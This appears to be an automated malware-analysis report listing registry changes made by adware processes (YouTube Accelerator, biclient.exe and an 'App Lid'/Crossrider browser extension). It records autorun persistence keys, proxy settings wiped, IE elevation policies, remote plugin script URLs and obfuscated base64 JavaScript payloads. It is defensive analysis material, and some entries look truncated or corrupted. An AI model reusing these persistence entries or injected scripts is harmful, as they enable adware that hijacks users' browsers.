[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2B 19 A6 A0 18 1A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "7B FA 6C AD 18 1A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1418834646"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "7B FA 6C AD 18 1A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process TPAutoConnSvc.exe:1776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]
"TrayData" = "2,Tray 3, 3,Tray 2, 1,Tray 1, 4,Manual Feed, 7,Auto Select"
"FormData" = "1,2159,2794,LetterÂ¶40,40,2086,2712, 5,2159,3556,LegalÂ¶40,40,2086,3474, 9,2100,2970,A4Â¶39,39,2032,2890, 7,1842,2667,ExecutiveÂ¶40,40,1761,2585, 258,2159,3302,8.5 x 13 (custom)Â¶40,40,2086,3220, 11,1480,2100,A5Â¶39,39,1408,2020, 70,1050,1480,A6Â¶39,39,975,1399, 13,1820,2570,B5 (JIS)Â¶39,39,1747,2490, 264,1950,2700,16K 195x270Â¶39,39,1882,2620, 263,1840,2600,16K 184x260Â¶39,39,1761,2520, 257,1970,2730,16K 197x273Â¶39,39,1896,2650, 43,1000,1480,Japanese PostcardÂ¶39,39,921,1399, 82,1480,2000,Double Japan Postcard RotatedÂ¶39,39,1408,1919, 20,1046,2413,Envelope #10Â¶40,40,975,2331, 37,983,1905,Envelope MonarchÂ¶40,40,907,1823, 34,1760,2500,Envelope B5Â¶39,39,1693,2420, 28,1620,2290,Envelope C5Â¶39,39,1544,2209, 27,1100,2200,Envelope DLÂ¶39,39,1029,2120"
"DelAfterCreate" = "1"

[HKU\.DEFAULT\Printers\DevModes2]
"NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1" = "4E 00 50 00 49 00 34 00 35 00 36 00 41 00 42 00"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]

The process 2c511d52-7693-4ed4-9079-996023e7571e-4.exe:3968 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\M4RRyGW1u2HsfByoGYkwx288mmbLzOm4ARxmdWOLOeb 9Ro76wLAXwW3ANQPh nEDtArn3x /QJB1jrEDzPxYsZNJwMi0Mb6OF226VOiQPWserJV gDw3crFw3 oV6sAwpjmQpLLG6FutDh/V5tiADyaJ1GcVGtcvht/dhOFjg4=]
"HpfVREKIiXRgwnB4gV9BSwEGKTqgfi0VyrZ75DcIKVStc0zP5LTC0CUO7aymF7 t6p4SbSI kB4sK/YC0T/gVx9sTm9CuYHixMyCSfjgWUgPWtRHzAqVf4Bcup04DSwdMKmCDPNXBVIKyrFnYe803j5K6uWIHsAZgypUvXEeDw=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Qym7AOhhjCqWKLqHJOHQyLX8SaZnESu74QzACBHcwZOIqAEjq4JxXT90WimXIjMSKaMNIfAxyEck8X8k22giqhntRzaSmlmbqtjMhUGc39aK/iqMiVnpgorXEDsToG9wrjY0SRMQ7POsfzupVZ1l2mhGkxAwphP2/L1ADqkniSs=]
"Fdrn7PkuPyvTjxnof3b5AMgNLC1b2nx3 J35Uv3WaCMHVFnICXBst8FJx72dwVc7C/AERxp/V90CMtV8xomoveotcYB7DEpBQ/IZSMRclq1OKhQZej66wCEOGJR/ /U1Myq2fW/55uHMly9NyjHUozrGHJcgndvjY/MIxa6SIaU=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process biclient.exe:1224 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:688 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "52 3D 92 72 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "52 3D 92 72 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "52 3D 92 72 18 1A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_xrwc_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFavoritesInitialSelection"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFeedsInitialSelection"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:1684 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "52 3D 92 72 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "58 9F 00 93 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "58 9F 00 93 18 1A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_xrwc_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process BB3.tmp:2544 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7B FA 6C AD 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "25 AC C4 C2 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "25 AC C4 C2 18 1A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process Dbsuiszoxonm.exe:2680 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"Name" = "IETimers"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"Version" = "15"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"UpdateInterval" = "360"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"Version" = "37"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Name" = "App Lid"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"zdata" = "appshatmadness"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"URL" = "http://js.newstaticinfosrv.com/plugins/javascripts/jquery-1_7_1_min.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/91.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"Name" = "initializer"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\269]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGY2ZjYzNTExZjFmMWMxMjNhMDIxODQ3NTA1MzU1MDMxYzE2MWY0YTViNGExYTBiNTkwNjExMDMwYzA0MWQxMzBmMDAwMzBhMWMxMTQxMTMxYjA4NDUxMjE0MWYwMTE0MGE1ZjFkMDA0NDE5MDQ1NDFhMGMwYjRkMmIzYTM4M2QzMzM0Mzc0MDQzN2E3ZDQ3MDIwNzAzMWIxYjM3MWQxYzU2NWY0YTUxMWYxZjFjMTIxYzRhNWI0YTA4NDAxOTUzMDY1MTAxNDI1YTE2MTkxZjU5MDMxZjAxMGIxZTVhMGIwZjA3NTgwYTBiMTYwNjA2MTE0YTAzMTY1OTAxMWI1ZDFkMWUxMDU4MzUyYzI1MjUyYzNkMzA1MjU4NmY2MzUxMDcwNzFkMDUwNjFlM2QwMTQ4NDk1NzU5NWU1YjY1MGQ=', 'tejswkhbop'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"Version" = "4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"Version" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWQ3ZjZjNTYwYzFlMWExZDMzMTEwYTU3NWY1NDQ2MDIxYTE5MTY1OTQ5NWEwYzFhMTcxZTQwMWUwZTBjMTYwNTBjMWEwMzBiMWEwODQ4MGEwODEzMGE1YjBlMTk0MTFlMDEzYzA0MTI0YjFlMTc1NTJmMmIyMDJhMmEzYzI0MjAyMTM1MjcyOTViMDAxNDA2MTcxMDE2NGMzZDM4MjQzYzIyM2MzNjIwMzYyMzJjMzgzMjI2MzQyYTJjMzA1OTM1MzEyZTM0MmMzNTI2MzczZDIwMmYzYzMyMjMzYjMyMzAyYjMwMjEyZTMxM2UzMzIxMzkzYzIxMmIzYjRjMmMzZjI3MmQyMjJhMjEzZDM3M2EyMjJjM2YzYzI4MzQyODMxNTkzNTMxMmUzNDJjMzUyNjM3M2QyMDJmM2MzMjI3MzMzNjJhMmIzNTI5MmYzMTMyNDQ0ZjZjN2M0NzFjMTAxZTFlMWUzMzExMGE1NzVmNTQ0NjAyMWExOTE2MTA1YzVhNGExZDBhMTkxYTQzMTUwYjA5MDUxNTFkMGEwZDBmMTkwMzRkMGYxYjAzMWI0YjAwMWQ0MjE1MDQzOTE3MDI1YTBlMTk1MTJjMjAyNTJmMzkyYzM1MzAyZjMxMjQyMjVlMDUwNzE2MDYwMDE4NDgzZTMzMjEzOTMxMmMyNzMwMzgyNzJmMzMzNzIzMjczYTNkMjA1NzMxMzIyNTMxMjkyNjM2MjYyZDJlMmIzZjM5MjYzZTIxMjAzYTIwMmYyYTMyMzUzNjI0MmEyYzMwM2IzNTQ4MmYzNDIyMjgzMTNhMzAyZDM5M2UyMTI3M2EzOTNiMjQzOTIxNTczMTMyMjUzMTI5MjYzNjI2MmQyZTJiM2YzOTIyMzYyNTNhM2EyNTI3MmIzMjM5NDE0YTdmNmM1NjE0MDYxYjBhMGYwZDJmMTE0NzRlNDQ1ODVhNWY2YzFl', 'fuetdjnmfc'); }"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"AppPluginList" = "246,42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,1,21,22,182,183,207,72,7,9,93,102,104,180,184,220,195,200,221,223,234,242,244,255,262,263,281,301,177,91,28"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTI2ZTQzNDQ1NjU0NTMwMTE3MGMxOTMxMTEwODU0NGU1MTRiMGIwYzFkMTQ1OTRiNTkxNzE1MDcwMDE5MGEwYzA2NTU1YjE1NWYwODA4MTkwNDA1MGEwYzEyNWExZjBjMTc1NzFhMTEwMTRiMDA0NzQzNTg1YTFhMGQ0YjNjM2IzNTI2M2UzYTMwMmEyMDIwMjYzNjI5MzEyOTNkMjYzNjJkMjEyNzNiMjUyMTMzMzYyYTNjMzYzYjRjMDg1ODFlMDI1NjEzMTEwZDU5NTI1NDRmNDA1NzBjMWIwYzU0M2IzYzI3MjQzYjIyM2EzMTMxMmQyMTMxM2IzNzI0MjEzNjJkMzkyNDIxM2MzYjUwMDcwODFhMTcxZDA0MGQwNzU5MjkyYjMyM2IyYzJiM2EzNjJhMjAzMzI2MmUyMDJkMmIzZDI1MmYyODMzMjYyZTNjMzAzZDNiM2IyYTIwMjkyYjUzNDU2OTU4NDk0NDQzNDYxZTAwMDUxOTEwMmQxYjA4NDE1ZTU2NTYxOTFkMTcwODFhNWU0YzRiMTUxMDFmMGEwMjFiMDEwMTUyNDkxNzVhMTAwMjAyMTUwODBkMGIwMDU4MWExNDFkNGMwYjFjMDY0YzEyNDU0NjQwNTAwMTFjNDYzYjNjMjcyNDNiMjIzYTMxMzEyZDIxMzEzYjMzMmMyNTJjMmQzYzJjMjAzYzM3MjMzNjJlMjAyNzI3MzY0YjBmNGExYzA3NGUxOTBhMWM1NDU1NTM1ZDQyNTIxNDExMTc0NTM2M2IyMDM2MzkyNzIyM2IyYTNjMmMzNjNjMjUyNjI0MmUyNzIyMzUyYzNiM2M0MjA1MGQwMjFkMDYxNTAwMDA1ZTNiMjkzNzIzMjYzMDJiM2IyZDI3MjEyNDJiMzgyNzMwMmMyODI4MmYyMTI0MmIyNDNhMjYyYTM2MmQyNzNiMjk1NjVkNjM0MzU4NDk0NDQxMTQxYTAxMTYçž•Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"Name" = "icm_convertmedia_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"Name" = "foxydeal_m"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "45a5d93e053e7aacbe23aedf1ed2b00a"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/195.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/36.js"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"Policy" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
